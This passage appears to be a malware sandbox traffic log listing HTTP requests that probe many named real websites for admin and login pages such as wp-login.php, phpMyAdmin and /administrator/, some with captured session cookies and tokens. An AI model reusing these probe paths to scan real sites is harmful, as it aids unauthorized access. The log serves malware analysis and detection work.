Source: global traffic	HTTP traffic detected: GET /en/admin HTTP/1.1Host: www.dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: micro-design.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.knu.ac.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /login/?page=%2Fadministrator%2Findex.php HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJRb9owFIXf%2BRVV3uM4CaGJBUisrC0SA1TYHvYyXeybYsmxU9tpx79fiLd1mzTu4%2FE9n8498tRBo1q26PxJP%2BFLh86Pbvr53ijt2PA4izqrmQEnHdPQoGOes%2F3i05plhLLWGm%2B4UdE%2FtusucA6tl0YH22o5i7abj%2Bvtw2rzbZJCxbEu6FHc5hWnNE2xHFdlWRcgUBR5QUHkcBusX9C6njOLemw0CjTnOlxp50H7XqdZHqdpnE0OtGBFxfLya7Au%2B2OlBj%2FYT963jiWJMs9Sk0Zya5ypvdFKaiTcNAkv63FeFRjXMMZ4nFaTGMSxio%2BQcZFxoFVNk8vpWcDvfjbzQWoh9fP1Qo5hybHHw2EX77b7Q4AsfhV1Z7TrGrR7tK%2BS4%2Ben9Xvm5kw4qFewZ%2FKiBEHREeiGKAkPNtKe2mg%2BEKcXnQ0d2flVwjT5c%2FXd3LJNn3%2B13Bkl%2BXnQL3NvbAP%2B%2F2emJB0UKeJ6WGWddi1yWUsU0W%2FMQinzdmcRPM4ibzuMbpL5KGT5%2B6POfwA%3D&RelayState=%2Fadministrator%2F
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/pages/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipCookie: PublishedSiteSession=eyJpdiI6IkRGblFZYmpUVTZaZXRlak41aDlickE9PSIsInZhbHVlIjoicDZZcjdvK2hoOHJhUmp5VXBPRmJnOXQxRDJkRXdNZnVUaUlZUWZNajY4Vlo5WUNZTG1ISDdVT1cwb1N4S0Y2MHZZU3hwODdRWDZWNjBFa251cXl2MGgvSFp3UEl6ZzNUME82N3Y1MVY5MGU5MmIyTWdKWDNNNXhMdGhMQ0RnRjAiLCJtYWMiOiI3N2M0YTFhMGY2YTc5NDgzMTIxNTNkZTA1YjY5Njk5YWJhYTE2Mzc4YzM5ODg5OWY1ZTNmYzNjYmI2NzQ3NDA5IiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6Ii9HaFdPWjhha0p0ZmprRks4OFhJMnc9PSIsInZhbHVlIjoiaWRxOTdEeUg5dVJqRHVtQ0g1R3VNUWJwSDFiZUkzMWNMUWQ3ZWU5bFNpS0t4Q0ViWExvRUJDamxtNkNwaVp1V205NHVvVlJlQUVRdVVsUzJEWEFwbnk3UzBtSHZscmc5UWZ4dkpxS1grRUY0WHAyQ1ZqZkRsOTNWakxwd21DZVMiLCJtYWMiOiI5ZmIxZGJiZmFiZjJlMzZjYTVjN2ZiODE0ZmMyZDlkNTQzNmFkMWRlOGI0YjBmMDhkOWZjNGNlZmZiMmI3ZjgzIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IjUxMTZseFR4OVdFOURpd3BzcUZ1TFE9PSIsInZhbHVlIjoiT1VlNmdtbmVOaityUVE0UzY3Qjh6TFUyeVEzUzBaL29ldUs3ZjBFbC9iV3FHdG9JQmlQampzeUdwOVg4Zk5vYytQdXJTd0dGK1M1ZVZ3MzFBVHRRRE0rMDFIbWZwaHVveEMrQXB4TTlvVjJIRTE2LytvdkZHNStHb0RTanAwajciLCJtYWMiOiI2ODUzMmM0MDU0YzY4ZjJlMzBjMjUwNTFjMjYyN2E2Y2Q4Y2Y5ODk4Y2QxYjIxNTVkYjExOTE2NzRmZDUyNWViIiwidGFnIjoiIn0%3DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: eco-landeck.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin HTTP/1.1Host: gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipCookie: PublishedSiteSession=eyJpdiI6ImFaN0VzMVVDbXAvRDkyTnVRTzV0dXc9PSIsInZhbHVlIjoiQ1RrUXRVb0ZpRlFJbEpYRG82SUhOc0tBL1l1enluT3MyWkE0cVVlb1czK21aUitnQUlQUWl3bmZkOEtINTBFRlZ6UG1RSVNNU01zK3AyS2R3c25WbXlqVFRubnp0VVNpVGJWVlI5d2d2STlkK1dvRHN3WmZXcktLUVZ4WVR0OHoiLCJtYWMiOiI4ODk3YmFiZWJhNWQ1OGM4OTM4YjdmNGJmYWI5M2JiM2Q1YjEyOGU2NTE1ZDE4MmE0MTFlOTc4OGIyZGUzNzAyIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6InVZN29GKzIwOFdCWTc0d3k1Y1J6OWc9PSIsInZhbHVlIjoiUnJhQ3h1dkxsVDJvOW1HeFFna3pqN2FsRWpPMEwwSjFwNVQwNjlmVUJkUmhjRjA5VXNaSTBkcGNUV0E2UXJNOGluNzN2bzhHN3Bnc2xySDQxdlNUVkp4OGhzSDlFNnR0SUtISHBETzhIUjMzcE83MWtjc2dOL3hnMHpiWWQ1Q20iLCJtYWMiOiI0NzYxMjc3MWRkYjMxOTk5NDRjNjc4ZTY5MDJjY2U2OTk3ZjgwMjc1Yzg5ZDFmOGEzMzRhMGViNmI1YTU3NGQ4IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InpSM1A3WnZQd1FBWE0zYndjS3lTMVE9PSIsInZhbHVlIjoiSVV2dW5TdHArb1liMVNCeG5EVjFwR1RJN1dWYmhLRE5scXJaOXFyVlF2d1RkcXNSVnZkTk5xeWJCTkh6dFl4STF4NzIwL25sWTZJUUs4T1hvYzBTKzBwWi9HZDZSR0lreDlFQzBkanB3eTFLWHExbTg3SmM3Rm9raklEZmFBL08iLCJtYWMiOiJlNjI4YTJlZjk4YTk5M2MzYzRkMTAwNmY2NTNiMzIxZmY1MzE1MGM0Y2VhMDc5YmFmYTRkMjk3YTgzYzZiZDY2IiwidGFnIjoiIn0%3DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.grantstech.io/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: samson.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: OF=9lma3oral9i39bi8q8vm70o157User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://beachrecruitment.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: rech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.rech.com/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: bunasta.euAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://bunasta.eu/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: gccb.co.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /Security/login?BackURL=%2Fadmin%2Fpages%2F HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=90qdef5au19fnromgduipcu8s5User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Ftradeavenida.com%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=Y9iVqDLjjy.4c42u423kB35hFI4xb1W3CLV4ZRxyw.Y-1700978381430-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: lumaruniformes.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en/admin HTTP/1.1Host: www.dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipCookie: ff59ae34f86788aafc83adbd6fbb16ab=573a080441b430e46540f849b8105044User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.maxiv.lu.se/
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: OF=9et5pla7nsi6m08nuam1qvco53User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.rech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=GmdO4O16OvcSRs1S5vpImz7iIXsw5EPzJkhrzhXEoHc-1700978384404-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: daisyokogyo.co.jpAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Fhimontessori.com%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.grantstech.io/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin HTTP/1.1Host: www.gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /saml/index.php?page=%2Fadministrator%2Findex.php HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJRb9owFIXf%2BRVV3uM4CaGJBUisrC0SA1TYHvYyXeybYsmxU9tpx79fiLd1mzTu4%2FE9n8498tRBo1q26PxJP%2BFLh86Pbvr53ijt2PA4izqrmQEnHdPQoGOes%2F3i05plhLLWGm%2B4UdE%2FtusucA6tl0YH22o5i7abj%2Bvtw2rzbZJCxbEu6FHc5hWnNE2xHFdlWRcgUBR5QUHkcBusX9C6njOLemw0CjTnOlxp50H7XqdZHqdpnE0OtGBFxfLya7Au%2B2OlBj%2FYT963jiWJMs9Sk0Zya5ypvdFKaiTcNAkv63FeFRjXMMZ4nFaTGMSxio%2BQcZFxoFVNk8vpWcDvfjbzQWoh9fP1Qo5hybHHw2EX77b7Q4AsfhV1Z7TrGrR7tK%2BS4%2Ben9Xvm5kw4qFewZ%2FKiBEHREeiGKAkPNtKe2mg%2BEKcXnQ0d2flVwjT5c%2FXd3LJNn3%2B13Bkl%2BXnQL3NvbAP%2B%2F2emJB0UKeJ6WGWddi1yWUsU0W%2FMQinzdmcRPM4ibzuMbpL5KGT5%2B6POfwA%3D&RelayState=%2Fadministrator%2F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: student.debritto.sch.idAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.rech.comAccept: /Accept-Encoding: deflate, gzipCookie: originDirect=true; SESSION=d0ba3db7-afea-40d5-bf45-8ca13b5deab0User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.rech.com/
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipCookie: ff59ae34f86788aafc83adbd6fbb16ab=573a080441b430e46540f849b8105044User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.maxiv.lu.se/
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=LvH4Xrnl0rVYyhoO4XsyXtrl76eVXmaMNVuqhXVgIEc-1700978385041-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.bunasta.euAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://bunasta.eu/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: knu.ac.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.knu.ac.in/wp-login.php
Source: global traffic	HTTP traffic detected: GET /admin/pages/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: coralparkchristian.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp/wp-login.php HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: samson.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: k8spersistent=5afd37c218f5676376cb43a26fed2bbc\|11f187638643e13d7bd1963991fac52b; OF=8jsqh0b6dova9dpfri4i3ad415User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: daisyokogyo.co.jpAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: lumaruniformes.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /Security/login?BackURL=%2Fadmin%2Fpages%2F HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=qn6eh6oumdk5qmj0m5efhe7rurUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipCookie: PublishedSiteSession=eyJpdiI6Ik5ObEFRd1R1Zi9HT0oxV2Ircm5UQ2c9PSIsInZhbHVlIjoicURnaEVheXRneW9LMExZd0ZVKzFSYkhteHBSSitDM05jMVF2ZWhOZGJ1TTBkNkFFdi9ZaTN0RVBRTU9GUFM2a0hibWNlYTltcDBJczk3cThMRklYbjBESVh1S1lYbEFIbDAzeS9mbmpzRURJbnAzM3RsdWJsM2tRQUMvQ1ExL3giLCJtYWMiOiI3ZDdiZTY1OTI1YTQ0M2YyMzE2NjE4MTdjNTcyOGY4ZDdkNzNiYzgwNTJmMjA0MWI3Mjc5NjIyMjYzN2M3MmZiIiwidGFnIjoiIn0%3D; 